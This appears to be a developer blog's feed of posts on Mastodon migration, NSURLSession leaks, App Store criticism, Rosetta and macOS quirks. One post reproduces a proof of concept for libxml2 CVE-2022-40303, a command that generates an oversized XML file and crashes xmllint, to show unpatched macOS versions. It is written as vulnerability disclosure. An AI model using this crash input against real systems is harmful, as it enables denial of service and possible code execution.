What about your followers? Moving to a new Mastodon instance is supposed to transfer all of your followers. Again, however, I worry that the brokenness of mstdn.plus is preventing this from happening. My old account has over 700 followers, many of whom arrived after the recent release of my Safari extension Homecoming for Mastodon. Meanwhile, my new account currently has only 60 followers, many of whom followed me after I imported my following list from my old instance—presumably because they saw a new follower notification—but before I actually initiated the instance redirection.

When I was investigating how to move to a new Mastodon instance, I found a blog post about the migration process:

Your instance will begin notifying the people who follow you of your new handle, and they will be automatically switched to follow your new account. If you have enough followers, it may batch these requests up, so you may see new followers appear on your new account regularly over the next 24 hours.

Thus, hope remains that I'll get back all of my former followers. Nonetheless, the transfer process started more than 12 hours ago, and less than 10% of my followers have moved. The "regularly" part of the batching certainly hasn't occurred, so I wonder whether this is actually batching or just the brokenness of my old instance.

Don't let anyone tell you that your choice of Mastodon instance doesn't matter, or that it's easy to switch. At best, that's survivorship bias. As bad as I feel about my own situation, I feel even worse for other mstdn.plus users who aren't as technically sophisticated as I am. I read some posts yesterday from mstdn.plus users new to Mastodon and totally confused about what to do now. This experience may cause them to quit Mastodon forever, and I wouldn't blame them for that.

Addendum

In speaking with other former mstdn.plus users, and polling my own followers, it appears that no followers were automatically transferred to their new Mastodon instance. So mstdn.plus is hopelessly broken in most ways, and I've lost most of my followers. I'm not too happy with the "fediverse" right now.

Addendum February 6 2023

See my follow-up.

]]>
NSURLSession connection leak https://lapcatsoftware.com/articles/NSURLSession.html 2023-01-23T15:30:00Z 2023-01-23T17:50:00Z Apple's documentation for the class NSURLSession (or URLSession for Swift coders) contains a warning marked "Important":

The session object keeps a strong reference to the delegate until your app exits or explicitly invalidates the session. If you don’t invalidate the session, your app leaks memory until the app terminates.

This warning doesn't tell the whole story, though. It's incomplete. What it doesn't tell you is that if you don't invalidate the session (via finishTasksAndInvalidate or invalidateAndCancel), then the internet connection created by the session remains open until the app terminates, even after the delegate method URLSession:task:didCompleteWithError: has been called, and even after the app's code no longer has a strong reference to the session. It's more than just a potential memory leak.

I discovered this connection leak the same way I discover a lot of things about how macOS works: by accident, with Little Snitch. I confirmed it with a sample Xcode project and packet traces. (Note that in my sample app the NSURLSession delegate is also the NSApplication delegate, which is expected to remain instantiated for the lifetime of an app, so there's no worry about a memory leak.)

My sample app runs two consecutive ephemeral sessions with https://www.reddit.com, a URL chosen mostly arbitrarily. I did want something other than apple.com in order to stand out in packet traces that can also include system processes phoning home to Cupertino. I ran two sessions to see whether NSURLSession would reuse the connection, but it did not; the two ports were different.

The packet traces show that when my app calls invalidateAndCancel after the URLSession:task:didCompleteWithError: delegate method, my Mac immediately sends a TCP FIN packet to Reddit, closing the connection. On the other hand, if invalidateAndCancel isn't called, then… nothing happens. There's no further traffic on the connection, but it remains open. Indeed, both connections from both sessions remain open. This can be verified for example with the netstat command-line tool.

My Mac finally sends TCP FIN packets on both connections, simultaneously, after applicationWillTerminate: is called, so it becomes obvious that the connections were leaked for the lifetime of the app process.

The NSURLSession API seems peculiar, because you would expect URLSession:task:didCompleteWithError: to be, you know, the end. Shouldn't you be able to freely (pun intended) dispose of the connection at that point? The reality, however, is that you need to invalidate every used session. So now I know, and now you know.

Addendum

You can see in Xcode's "View Memory Graph Hierarchy" that the system framework via URLProtocol still has references to the two NSURLSession objects even though the app no longer has references to them. The docs do not mention this second memory leak, only the first memory leak of the NSURLSession keeping a reference to its delegate (in this case AppDelegate).

View Memory Graph Hierarchy

]]>
Universal Links Revisited https://lapcatsoftware.com/articles/universal-links2.html 2023-01-16T14:20:00Z 2023-01-16T14:20:00Z A couple years ago I wrote about the monstrous Open in the Twitter app banner in Safari, which is caused by the Twitter app's adoption of Apple's Universal Links. My very clever (IMO) solution to this problem was to create a Mac app, very cleverly (IMO) named StopTheTwitter, that technically impersonated the official Twitter app by copying its bundle identifier. StopTheTwitter has a higher version number than the Twitter app, which makes Launch Services prefer it over the Twitter app. This seemed like a great solution (IMO)!

Unfortunately, my solution had one major downside I never noticed. The reason I never noticed is that I don't use the official Twitter app. When I was still using Twitter (I quit at the end of October), I used a combination of Tweetbot for Mac and my own Safari extension Tweaks for Twitter (which is currently on sale, by the way). After I wrote StopTheTwitter, I deleted the Twitter app from my Mac. In other words, I never updated it in the App Store. If I had kept the Twitter app, I might have noticed that I couldn't update it in the App Store!

Unable to Download App

Above is the kind of failure you might see if you tried to update Twitter in the App Store. I demonstrate here with my own app Link Unshortener (which is also on sale, by the way).

Consequently, StopTheTwitter was a clever idea a bit too clever for its own good, or for your good. I apologize for any inconvenience!

Fortunately, as always, I have another solution to the problem. The solution is another Mac app, but this time it's not one that I created. It's one of my favorite third-party Mac apps, Little Snitch!

Universal Links on the Mac operate via the swcd (Shared Web Credentials Daemon, /usr/libexec/swcd) process. According to its man page, dated 11/20/2016, swcd is a "Daemon providing support for technologies based on Associated Domains such as Shared Web Credentials and Universal Links." The man page doesn't say anything else.

As shown by Little Snitch, swcd attempts to phone home to Cupertino after you install the Twitter app.

swcd wants to connect to app-site-association.cnd-apple.com

For the sake of science, I'll allow the connection, which then establishes the Universal Link. Now let's see what happens when I open a tweet in Safari from another app, such as Terminal.

open -a Safari "https://twitter.com/migueldeicaza/status/1614091717283647488"

Do you want to allow this page to open Twitter?

Cancel or Allow, where have I heard that before?

If I cancel, I still see the "Open in the Twitter app" banner in Safari.

Open in the Twitter app

The solution to the problem is to deny swcd with Little Snitch.

swcd Deny outgoing TCP connections

However, I've already allowed the Universal Link, which is still in effect. I also need to undo the damage of allowing it.

/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f -R /Applications/Twitter.app

The above Terminal command uses the lsregister tool to force the Twitter app to re-register with Launch Services. Afterward, "Open in the Twitter app" is gone.

Safari with no banner

By the way, thanks for the tweet, Miguel!

]]>
Bing and DuckDuckGo removed my business web site AGAIN https://lapcatsoftware.com/articles/bing2.html 2023-01-15T15:30:00Z 2023-01-16T23:50:00Z Last year I wrote Bing and DuckDuckGo removed my business web site describing how https://underpassapp.com had been removed from Microsoft Bing search results, and thereby also from DuckDuckGo search results, since DDG relies on Bing. As described by my friend Jesse Squires in the blog post My website disappeared from Bing and DuckDuckGo, Part 2, that problem was actually solved last year for both of our sites. However, today I read a blog post by Dave Rupert, I'm Shadow Banned by DuckDuckGo (and Bing), which inspired me to check the search results again for my own site. Sure enough, https://underpassapp.com is now missing again from both Bing and DuckDuckGo!

Bing

DuckDuckGo

It's still in Google though.

Google

My personal site https://lapcatsoftware.com was never removed from Bing or DuckDuckGo. Only my business site is missing.

This situation is absurd. Microsoft needs to get its act together and stop deindexing web sites for no reason. (Here's yet another example: Microsoft Bing – site gone from SERP overnight!) Meanwhile, DuckDuckGo needs to get its act together and build its own independent search engine (not to mention its own advertising sales) instead of relying on highly fallible results from Bing.

Addendum January 16 2023

Today my site is back in Bing and DuckDuckGo! I don't know why. Maybe it was random? Maybe someone at Microsoft saw my blog post? I did "ping" someone I know at Microsoft, but I didn't hear back from that person. It appears that https://daverupert.com/ is still missing from Bing and DuckDuckGo, however, so the problem isn't entirely solved yet.

]]>
The App Store does not protect consumers https://lapcatsoftware.com/articles/crappstore.html 2023-01-04T16:35:00Z 2023-01-04T16:35:00Z This morning I came across a post on Reddit about App Store refunds. I'll quote it in full:

Hello! Recently I forgot to cancel two free trials for a couple apps that I’d purchased. I figured it wouldn’t be an issue getting them refunded, and went to reportaproblem.com to request a refund. Both refund requests were denied, so I requested they be reviewed, but still it says they’re ineligible for refunds.

When I called Apple support they said that there is nothing they can do to reverse the charges, and my only option would be contacting my bank and reporting them as fraud. I also contacted both of the apps to ask if they could refund on their end and was told it must be done through Apple.

Both of these charges were for $59.99, and this has over drafted my checking account. I’m very stressed about money and can’t afford $120 in fees for apps I don’t wish to use.

If I do end up refuting these charges with my bank can anyone tell me what will happen? Should I call Apple support again and ask for a manager? It didn’t seem like there was anything that could be done on their end, but I really really need this money back :(

And yes, I’ve definitely learned my lesson this time about signing on for free trials.

As an App Store developer myself, I can confirm that we do not have the power to grant refunds. App Store customers sometimes contact me anyway for a refund, because Apple does not educate them about the refund process, but all I can do is link them to Apple's support documentation.

What is Apple's App Store refund policy? An as App Store developer and consumer, I honestly don't know! In searching for a clear refund policy statement, I found this irony on Apple's App Store web page:

Need a refund? AppleCare has your back.

Visit Apple Support online or use the Apple Support app to request a refund for App Store purchases.

AppleCare clearly didn't have the Reddit poster's back.

As far as I can tell, the App Store refund "policy" is effectively this: you can request a refund from Apple, and Apple might or might not grant you a refund, at Apple's sole discretion, for any reason or no reason.

From many years of experience following Apple news, I can predict that hordes of Apple defenders will come out of the woodwork to blame the Reddit poster for failing to cancel the App Store trials in time. It's not Apple's fault if an individual consumer fails in their personal responsibility, right? However, Apple defenders need to ask themselves how Apple, who supposedly designed the App Store to protect consumers, got into the business of endorsing, indeed pushing, opt-out trials — trials that automatically charge the consumer at the end of the trial period — rather than, say, opt-in trials that simply expire? Apple controls the App Store completely, so that was Apple's decision. Let me quote Apple's open letter from a few years ago, Addressing Spotify’s claims:

Spotify wants all the benefits of a free app without being free.

A full 84 percent of the apps in the App Store pay nothing to Apple when you download or use the app. That’s not discrimination, as Spotify claims; it’s by design

It's by design! If you look at the AppFigures list of the 200 top grossing iOS App Store apps in the United States, a shocking 199 of them are "Free". (The sole exception is Minecraft at $6.99 USD.) Prima facie, the fact that almost all of the top grossing apps are free ought to be a kind of paradox. In reality, though, the App Store is not paradoxical, it's a giant bait-and-switch scheme. Consumers are baited into downloading these supposedly free apps, and then they're pushed or tricked into In App Purchases. Do you want a free trial? No problem! Do you want to get out of the trial and avoid getting charged? Well, that's a problem, an obstacle course for consumers.

My own App Store apps are all upfront paid. But it's extremely difficult to compete in the App Store race to the bottom, where paid apps are in the same "store" right next to apps that essentially lie about being free. People often compare App Store to a retail store, but what physical retail store in the world allows you to walk out the door with 84% of its products without paying anything? That's not a store, it's a scam.

Speaking of scams, the App Store is full of them. I've attempted many times to raise awareness of scams in the App Store, especially in the Mac App Store, since Mac software is my biggest business, and I've even received some news media coverage about this, for example, Apple’s still not catching scammy apps, and this time they’re on the Mac and Mac App Store apps using in-app purchases to hide free apps that need subscriptions.

Last year I attempted to raise awareness of an App Store developer apparently committing fraud, both by using multiple fake developer accounts and by posting fake ratings and reviews in the App Store. Recently I noticed that the same app SmartPlay for Safari is still in the Mac App Store and still a top download, currently in the 100 top "free" list in the United States. This app is not really free, however. It has a paywall on first launch, as noted by many of the app's reviews. (The reviews that aren't fake, that is.)

I talked about this app's ratings and reviews before. It's still rated 4.0 out of 5, now with 7019 ratings, which is 1357 more reviews than 5 months ago, an average of about 270 new reviews each month. (That's just in the US App Store. App Store ratings and reviews are always country-specific.) The reviews, however, tell a very different story. They're as bad as ever.

Mac App Store reviews

Mac App Store reviews

19 of the 24 most recent reviews are 1-star. Let me highlight one of those.

Free, after you pay to unlock features.

"Free, after you pay to unlock features."

Where's that famous App Store "curation" we've heard so much about?

When Apple itself says "We can't help you, talk to your credit card company", then I must ask, how is that any better than the so-called "wild west" of software distribution outside the App Store?

One More Thing™ about the App Store:

App Store search for mastodon, top result is an add for Truth Social
]]>
App Store Connect is the worst web site ever made, Part 4: Works as currently designed https://lapcatsoftware.com/articles/crappstoreconnect4.html 2022-12-28T15:35:00Z 2022-12-28T15:35:00Z Last month in Part 2 of my unfortunately ongoing series "App Store Connect is the worst web site ever made", I wrote that Touch ID login no longer works right on App Store Connect and that I filed Feedback (FB11775777) with Apple about the issue.

Yesterday I was looking through Feedback Assistant for other issues, and I noticed that my App Store Connect feedback had been updated by Apple:

Recent Similar Reports: Less than 10

Resolution: Investigation complete - Works as currently designed

In other words:

  1. Other developers have also recently filed the same feedback with Apple.
  2. Apple has no intention to fix the issue.

By the way, I received no notification, email or otherwise, that Apple's "investigation" was complete. I only discovered this by chance while browsing.

This crap (dis)service is Apple's "investment" of its cut of our crApp Store proceeds. It cuts me like a knife.

]]>
I posted my Safari extension issues on GitHub. Post yours too! https://lapcatsoftware.com/articles/Safari-extension-issues.html 2022-12-27T14:55:00Z 2022-12-27T14:55:00Z Apple's bug reporting system Feedback Assistant is a black hole. I once filed a bug report against the bug reporter itself, requesting a public, searchable bug database, and here's what happened:

much has changed

Much has changed. Yet nothing changed. Time is a flat circle.

For the sake of Safari extension developers everywhere, I've decided to post my Safari extension issues publicly on GitHub. Some of them are bug reports, and some are feature requests. Some are obvious, some incredibly obscure.

I encourage other Safari extension developers to post their issues too! You're welcome to use my issue tracker and post yours alongside mine. Or you can post yours somewhere else, but if you do, please let us know. If we share our issues like this, it can help improve the overall quality of the Safari extension ecosystem.

Take a look: Safari extension issues.

]]>
How to restore the Preferences menu item to macOS Ventura, Part 2 https://lapcatsoftware.com/articles/Preferences2.html 2022-12-17T15:50:00Z 2022-12-17T19:35:00Z This is a follow-up to my blog post from several months ago, How to restore the Preferences menu item to macOS Ventura. In that blog post, I explained how you could use the default NSMenuShouldUpdateSettingsTitle to control whether apps have the menu item title "Preferences…" or "Settings…" on Ventura. To restore pre-Ventura behavior for all apps, you could use this Terminal command:

defaults write -g NSMenuShouldUpdateSettingsTitle -bool NO

Unfortunately, Apple has continued and expanded its user hostility by completely removing NSMenuShouldUpdateSettingsTitle from Ventura. I'm not sure when this happened exactly, but it might have been in this week's macOS 13.1 update.

Since my blog post seems to be the primary source of information on the web about NSMenuShouldUpdateSettingsTitle, perhaps Apple removed the hidden preference because I made it public. This wouldn't be the first time that Apple changed OS behavior because of one of my blog posts. For example, the Safari extension toolbar icon tinting algorithm was changed after I published The Safari extension blues.

I've now looked at how Preferences/Settings works on macOS 13.1, and sadly I haven't found a way to revert to Preferences globally, for all apps. However, I have found a way to revert to Preferences for your own app. You need to subclass NSApplication and set NSPrincipalClass to your subclass in your Info.plist file. Then in your NSApplication subclass implementation, simply add this method as a no-op:

-(void) _updateSettingsMenuItemIfNeeded
{
    return;
}

Warning: _updateSettingsMenuItemIfNeeded is an Apple private method, so using it could get you rejected from the Mac App Store. But you're free to use it outside the Mac App Store.

Addendum

On reflection, there's actually a much easier way to restore the "Preferences…" menu item in your app that uses public API fully supported in the Mac App Store. You could even make your app logic check for the NSMenuShouldUpdateSettingsTitle user defaults key to control the behavior.

Just create a reference to the "Preferences…" item in the main menu, such as with an IBOutlet. In applicationWillFinishLaunching, store the menu item's (localized) title. Then in applicationDidFinishLaunching, reset the menu item's title. Easy! Not sure why I didn't think of that before. I must have been overthinking it.

Addendum 2

It's been brought to my attention by Randy Saldinger that macOS 13.1 no longer respects the SDK of the compiled app. Previously, the Preferences menu item was only changed to Settings if the app was compiled with the macOS 13 SDK. Now it happens to every app!

]]>
macOS removes and reinstalls Rosetta after every update https://lapcatsoftware.com/articles/Rosetta.html 2022-12-14T15:30:00Z 2022-12-14T15:55:00Z I'd like to thank Mark Rowe (AKA bdash) for critical help in making this discovery.

After every macOS update, I see this dialog when I launch Xcode. I thought this happened to everyone — that is, everyone with Rosetta and Xcode installed — but I was wrong.

To run Intel-based applications, you will need to install Rosetta. Would you like to install it now?

So why me? Do Apple engineers have a personal vendetta against me? Well, yes, but that's not the reason. I've discovered that macOS updates do remove Rosetta for everyone, but they also silently reinstall Rosetta. Or attempt to reinstall. The attempts always fail for me, because I have Little Snitch installed. My Little Snitch rules are pretty strict: a lot of my rules are designed to prevent macOS from "phoning home" to Cupertino. And that's what happens in this case.

For proof that macOS updates reinstall Rosetta (if you had Rosetta installed), open About This Mac, click System Report, select Installations under Software, and sort the installations reverse chronologically. If you have Rosetta installed, you should see RosettaUpdateAuto immediately after the macOS update. Mine is not immediately after the update, because Little Snitch blocked the reinstall, so I had to install manually.

RosettaUpdateAuto

In the /private/var/log/install.log log file, I was able to find references to Rosetta during the macOS update. For example:

system_installd[1116]: PackageKit: Will do receipt-based obsoleting for package identifier com.apple.pkg.RosettaUpdateAuto (prefix path=/)
system_installd[1116]: PackageKit: Executing script "postinstall" in /Library/Apple/System/Library/InstallerSandboxes/.PKInstallSandboxManager-SystemSoftware/B5333BAD-00A1-4EDF-9038-1332B9597FA5.activeSandbox/Scripts/com.apple.pkg.RosettaUpdateAuto.8Ri2cm
root[5533]: Running Install Scripts . . .
root[5535]: Begin script: load_rosetta
system_installd[1116]: postinstall: 5538
root[5545]: End script: load_rosetta

The remaining mystery to me is if Rosetta needs to be updated after every macOS update, then why doesn't the macOS updater include the Rosetta installer? My theory is (1) Apple didn't anticipate their connection getting blocked, and (2) it's just easier to download the Rosetta installer, because the initial Rosetta install was already an optional download.

By the way, yesterday's macOS Monterey 12.6.2 update finally patched the 0-day vulnerability CVE-2022-40303 after more than a month.

Addendum

After publication of this article, I was made aware that the macOS Ventura 13.1 release notes from What's new for enterprise in macOS Ventura include this item:

  • Resolves an issue in which Rosetta 2 was removed after a software update.

So this appears to be fixed now in Ventura! I'm still on Monterey, of course, because of System Settings.

]]>
Mac OS X analogue for Node.js? https://lapcatsoftware.com/articles/Node.html 2022-12-13T13:20:00Z 2022-12-13T13:20:00Z One thing I loved about Mac OS X was that Apple took responsibility for curating, installing, and updating Unix libraries and tools. I say Mac OS X rather than macOS because sadly, in recent years Apple has removed many parts of the Unix foundation from the Mac and also shirked its responsibility to update the remaining Unix components (see for example my previous blog post macOS Monterey still vulnerable to CVE-2022-40303). The glory days when Mac OS X was (IMO) actually the best version of Unix in the world are long over. This blog post isn't about Mac OS X, though, it's about Node.js, the JavaScript runtime environment. As a web browser extension developer, I write a lot of JavaScript, so I have an obvious interest in Node.js. The default package manager for Node.js is npm. I've had to use Node.js and npm before for some third-party projects, but I don't currently use them for my own software. Why not? Frankly, I'm scared of Node packages.

From Wikipedia:

Over 1.3 million packages are available in the main npm registry. The registry does not have any vetting process for submission, which means that packages found there can potentially be low quality, insecure, or malicious. Instead, npm relies on user reports to take down packages if they violate policies by being low quality, insecure, or malicious.

Also:

  • In July 2018, the npm credentials of a maintainer of the popular eslint-scope package were compromised resulting in a malicious release of eslint-scope, version 3.7.2. The malicious code copied the npm credentials of the machine running eslint-scope and uploaded them to the attacker.
  • In November 2018, it was discovered that a malicious package had been added as a dependency to version 3.3.6 of the popular package event-stream. The malicious package, called flatmap-stream, contained an encrypted payload that stole bitcoins from certain applications. npm administrators removed the offending package.
  • In January 2022, the maintainer of the popular package colors pushed changes printing garbage text in an infinite loop. The maintainer also cleared the repository of another popular package, faker, and its package on npm, and replaced it with a README that read, "What really happened to Aaron Swartz?"
  • In March 2022, developer Brandon Nozaki Miller released a version of the package node-ipc containing malicious code that would delete files from users with Belarusian and Russian IP addresses, in protest of the Russian invasion of Ukraine.

I'm interested in using Node.js for several reasons, but to me the tradeoffs aren't worth it. I don't want to risk compromising my Mac, which hosts critical business and personal data. The npm registry is simply not trustworthy.

I would love it if some entity took responsibility for curating, installing, and updating Node packages, much like Apple did for Unix components. In other words, I want a Mac OS X analogue for Node.js. (To be clear, I don't want an App Store analogue for Node.js. The crApp Store is full of scams. It's worse and less trustworthy than the npm registry. The crApp Store is not truly curated. Not in the way that Mac OS X was.)

Perhaps something like this for Node.js already exists? I'm not aware of anything, but I'm certainly not a Node expert. If a curated package manager does exist, please let me know! Otherwise, I hope that something like this comes into existence soon. It feels like a business opportunity. I for one would pay for it. (I would pay for macOS too again, if Apple put the care into it that they did in the past.)

]]>
macOS Monterey still vulnerable to CVE-2022-40303 https://lapcatsoftware.com/articles/MontereyCVE.html 2022-12-01T14:00:00Z 2022-12-13T19:40:00Z On November 9, Apple released macOS Ventura 13.0.1, as well as iOS 16.1.1 and iPadOS 16.1.1. The release notes list two security vulnerabilities fixed.

libxml2

Available for: macOS Ventura

Impact: A remote user may be able to cause unexpected app termination or arbitrary code execution

Description: An integer overflow was addressed through improved input validation.

CVE-2022-40303: Maddie Stone of Google Project Zero

libxml2

Available for: macOS Ventura

Impact: A remote user may be able to cause unexpected app termination or arbitrary code execution

Description: This issue was addressed with improved checks.

CVE-2022-40304: Ned Williamson and Nathan Wachholz of Google Project Zero

Usually when Apple releases an update to the latest major version of macOS (currently Ventura), they also release security updates for the previous two major versions of macOS (Monterey and Big Sur). In this case, they did not patch the previous versions.

I've found a bug report written by Maddie Stone of Google Project Zero, who discovered the vulnerability. The bug report includes a proof of concept. I tried the proof of concept on the latest version of macOS Monterey, version 12.6.1 (21G217), and the proof of concept worked! Thus, Monterey (and likely Big Sur too) is still vulnerable to CVE-2022-40303. Two weeks later, Apple has failed to patch what is now a zero-day.

I made a couple of trivial modifications to the proof of concept to make it work on macOS. Warning: the PoC creates a 2.15 GB file, so make sure your disk has enough free space. In Terminal, just enter these two commands.

python3 -c 'print("<!DOCTYPE doc [\n<!ATTLIST src " + "a"*(0x80000000) + " IDREF #IMPLIED>")' > /tmp/name_big.xml
/usr/bin/xmllint --huge /tmp/name_big.xml

You should see an error similar to the following, along with a crash report window. Send the crash report to Apple!

zsh: segmentation fault  /usr/bin/xmllint --huge /tmp/name_big.xml

Afterward you can delete the big file.

rm /tmp/name_big.xml

I also found a bug report for CVE-2022-40304, the second vulnerability fixed by macOS 13.0.1, but I wasn't able to reproduce that crash using the given test case. According to the bug report, "the test case may need to be run multiple times (by xmllint or any other parser using libxml2) to see the crash due to the system time being used to select the random seed", so perhaps I didn't run it enough times, or I was doing something else wrong. Since Monterey and Ventura both use the same open source library libxml2, and Monterey is still vulnerable to CVE-2022-40303, I suspect that it's still vulnerable to CVE-2022-40304 as well. I can't prove that myself, however, like I could with CVE-2022-40303.

Why don't all Mac users just update to Ventura? Well, some of them can't. Ventura dropped support for a number of Mac models: compare Ventura with Monterey system requirements. Another reason is that Ventura wrecked System Preferences. I find the new System Settings practically unusable. I hesitate to link to Twitter, because I've stopped using Twitter, but here's a link to a video demonstrating how unusable System Settings is from the keyboard. Besides System Preferences, Ventura also wrecked the system share menu. If Apple wants Mac users to always install the latest version for safety, then Apple should stop breaking the user interface!

Addendum

You may not see a crash report window unless you've set Crash Reporter Preferences to Developer mode. This useful app comes with the Xcode Additional Tools.

Crash Reporter Preferences

You can also set Developer mode in Terminal without the app. (You may need to logout afterward.)

defaults write com.apple.CrashReporter DialogType developer

Addendum December 13 2022

Apple finally patched both CVE-2022-40303 and CVE-2022-40304 today in macOS Monterey 12.6.2 and Big Sur 11.7.2. That left these bugs as 0days for more than a month. This is not responsible behavior by one of the largest corporations in the world.

By the way, I noticed this in About the security content of macOS Ventura 13.1 (but not in macOS Monterey 12.6.2):

Photos

Available for: macOS Ventura

Impact: Shake-to-undo may allow a deleted photo to be re-surfaced without authentication

Description: The issue was addressed with improved bounds checks.

CVE-2022-32943: an anonymous researcher

I didn't know you could shake a Mac to undo?

]]>
Hide System Preferences Dock badge https://lapcatsoftware.com/articles/badge.html 2022-11-28T18:10:00Z 2022-11-28T18:10:00Z Badges? We ain't got no badges. We don't need no badges. I don't have to show you any stinkin' badges!

System Preferences Dock badge

If you're like me (lord help you) and still running macOS Monterey, avoiding Ventura and System Settings like the pandemic, you may have noticed that macOS shows you an "advertisement" for the Ventura update, in the form of a persistent Dock badge on the System Preferences app. Needless to say, this is annoying. Thankfully, there are at least two different ways to get rid of this annoying Dock badge. First, there's a "nice" way, which I got from a nice person named Tom Hagopian on Twitter. My view now, having quit Twitter, is that if something is worth tweeting, it's worth blogging. (Conversely, if it's not worth blogging, it may not be worth tweeting.) Blogs are documentation in a way that tweets are not. One tweet gets lost in the vast ocean of tweets, most of which aren't worth saving (or even reading). Tweets can get deleted (by me). Twitter accounts can get deleted (by me, perhaps in near the future). Twitter itself can shut down (perhaps in the near future). In contrast, my blog posts are preserved on the open web going back all the way to my first post in 2006. And all of my blog posts are worth reading (or so I claim).

Back to the business at hand. The nice way to hide the System Preferences Dock badge is to edit your ~/Preferences/com.apple.dock.plist file. This can be done in BBEdit for example. There are also dedicated property list editing apps such as Prefs Editor. If System Preferences is in your Dock, then it will be in the persistent-apps array.

<key>persistent-apps</key>
<array>

Here's the key bit you want to edit.

<key>bundle-identifier</key>
<string>com.apple.systempreferences</string>
<key>dock-extra</key>
<true/>

Just change the dock-extra value from <true/> to <false/>. Then run the command killall Dock in Terminal to terminate and relaunch the Dock.

System Preferences without Dock badge

Ah yes, the sweet sound of silence!

One problem with the "nice" method is that it still leaves a badge on the Software Update pane in System Preferences.

System Preferences Software Update pane

One solution to that problem would be to hide the Software Update pane by customizing System Preferences.

System Preferences View menu

Out of sight, out of mind. Not out of contact, though. In my testing, the process softwareupdated seems to periodically phone home to Apple regardless of your Software Update System Preferences. In order to stop that, you need to block the softwareupdated connections using an extension like Little Snitch (which is currently on sale for 50% off).

softwareupdated Deny outgoing connections to port 443 in domain apple.com

If you block those connections and then run softwareupdate --list in Terminal, the badges will disappear on both the Dock and the Software Update preference pane! This is harsh, but effective. Of course you'll still want to know when software updates are available. If you don't follow the Apple media closely (as I do), you can follow Apple's software releases RSS feed.

Speaking of sales and software updates, my own software is still on sale until the end of November! Happy Cyber Monday.

]]>
I don't want to go back to social media https://lapcatsoftware.com/articles/socialmedia.html 2022-11-20T02:50:00Z 2022-11-20T02:50:00Z I left Twitter several weeks ago. If you want to know why, you can read the addendum of this blog post, but I don't want that to distract from my main point here, so I'll put it off until the end. For various reasons, many Twitter users are currently looking for an alternative to Twitter: Mastodon, Micro.blog, Tumblr, Cohost, etc. A number of people have specifically encouraged me to join Mastodon. I've decided, however, that I don't want an alternative to Twitter that's similar to Twitter. I don't want to go back to social media.

I've come to feel that social media is an addiction, unhealthy for me and also for humanity in general. I joined Twitter originally in 2008 for the Chicago C4 conference. To this day I still blame everything on my "drug pusher", conference organizer Jonathan "Wolf" Rentzsch, although Wolf quit Twitter himself 4 years ago. I actually quit once before in 2012 (when Twitter discontinued RSS feeds), deleted my account, joined App Dot Net (the best Twitter alternative ever FWIW), and remained off Twitter for 4 years. Unfortunately, hardly anyone followed my precedent, and App Dot Net shut down, so eventually I caved and rejoined Twitter in 2016 when I started looking for a new job. Ironically, I never did find a new job, but I did find Twitter useful in promoting my business when I became self-employed. Nonetheless, it's crucial to note the distinction between useful and pleasant. Much like an addiction, Twitter has its pleasant moments, dopamine hits, without amounting to a pleasant or desirable experience overall.

I'm old enough to have lived half my adult life before Twitter existed, and to be honest, I feel that life before Twitter was better. The untweeted life is worth living! When you become a DAU (Daily Active User), you give up a lot of your time and energy to Twitter. Keeping up with your feed and your notifications becomes a compulsion. Your schedule almost revolves around it. What I've found after quitting Twitter is that in some sense I have my life back. I feel less hurried. I can spend hours focusing on some activity without needing a break to check Twitter. I set my own agenda, according to my own interests, as opposed to my Twitter feed setting my agenda, according to the interests of my following. I suppose that I'm doing less following now and more leading, or at least self-guiding.

The best part of Twitter, in my opinion, was and continues to be the easy and rapid exchange of information with my fellow software developers. This hooked me on Twitter at the beginning, and I'm probably missing out on it somewhat as long as a significant population of software developers remains on Twitter. Fortunately, I've found a kind of middle ground by joining a developer Slack. While it's not nearly as large as Twitter, the Slack is large enough to be useful, with thousands of members, yet small enough to avoid a lot of the problems of an open global social media service.

What are the problems of an open global social media service? First and foremost, the openness. Anyone can join social media, from anonymous trolls to Presidents of the United States (who may be famous trolls). An invitation-only developer Slack, on the other hand, allows neither politicians nor anons. Social media also lacks consensus among its users about how to use social media. Many software developers prefer to use social media mostly or exclusively for information sharing, whereas politicians prefer to use social media for politicking, and trolls prefer to use social media for trolling. Moreover, social media encourages people to "bring their whole selves" to the service, so even software developers often like to use social media for politicking or trolling or talking about sports or posting photos of themselves, their pets, their food, and in at least one case, literal horse shit. This stands in stark contrast to the developer Slack, where there is consensus among users that the purpose is information sharing, and there are channels dedicated to specific software development topics. There's much less, um, slack given to write about random topics. (Except in the "random" channel.)

Social media can be seductive because it gives the illusion of friendship. It's the ultimate in low maintenance, no effort "friendship". You do have a lift a finger… then you have drop the finger, and that's all you have to do. Click, like, done. Like 'em and leave 'em. It's a kind of relationship so shallow that even a casual in-person friendship looks deep in comparison. Another thing that leaving Twitter has taught me, or confirmed after long suspicion, is that my Twitter friends were mostly not true friends. To be clear, I'm not bitter! I'm as guilty as anyone else of not being a true friend to my Twitter followers. That's the nature of the beast: it's almost impossible to be a friend to so many. The tweets just fly by your feed, sound bites, not a conversation but a cacophony. One Twitter user blurs into another. I spend more uninterrupted time with bank tellers.

I don't want to sound like "old man yells at cloud", but I remember the days of dial-up Bulletin Board Systems, and they were so much better than Twitter because they were local, thus enabling you to meet interesting new people. I made a lot of great friends in those days. What started online progressed to IRL. The BBSes were not a dead end, unlike Twitter, at least in my experience. Unless you live in a huge city, which I don't, it's unlikely that much if any of your Twitter social network is local. The openness of Twitter to the entire world is actually a problem if you want to make friends, real friends, not just online acquaintances. It's like finding a needle in a haystack.

I don't expect Slack to be any better in this regard than Twitter. That's ok, since it serves a different purpose. Despite the name, Slack was designed for work. That's how I approach the developer Slack, as a tool for my work. In addition, I started my own company Slack, because customers can no longer reach me on Twitter. (I also have app support email of course.) For support purposes, the Slack has worked well so far. I did set aside one channel in the company Slack specifically for non-support "tech talk", which was intended to be similar to my Twitter, and I invited my Twitter followers to join the Slack channel. This has not worked out so well. Although some of my followers joined, the majority of those I regularly interacted with on Twitter did not join. Consequently, the tech talk channel tends to be pretty quiet, for it's difficult for me to maintain the kind of one-way narrative that often occurs on Twitter. The majority of Twitter users are quiet lurkers, as evidenced by my greater than 10 to 1 follower to following ratio on Twitter. This "broadcasting" method of communication doesn't scale down to a private room. It might work if I had more interlocutors, but as I said, your Twitter friends are not necessarily your true friends, who would follow you off Twitter, who make an effort to spend time with you. If leaving Twitter, or Twitter shutting down, causes you to lose contact entirely, then what exactly was your relationship, how much did you really mean to each other? It makes you think. It made me think, anyway, and reevaluate my relationship to social media.

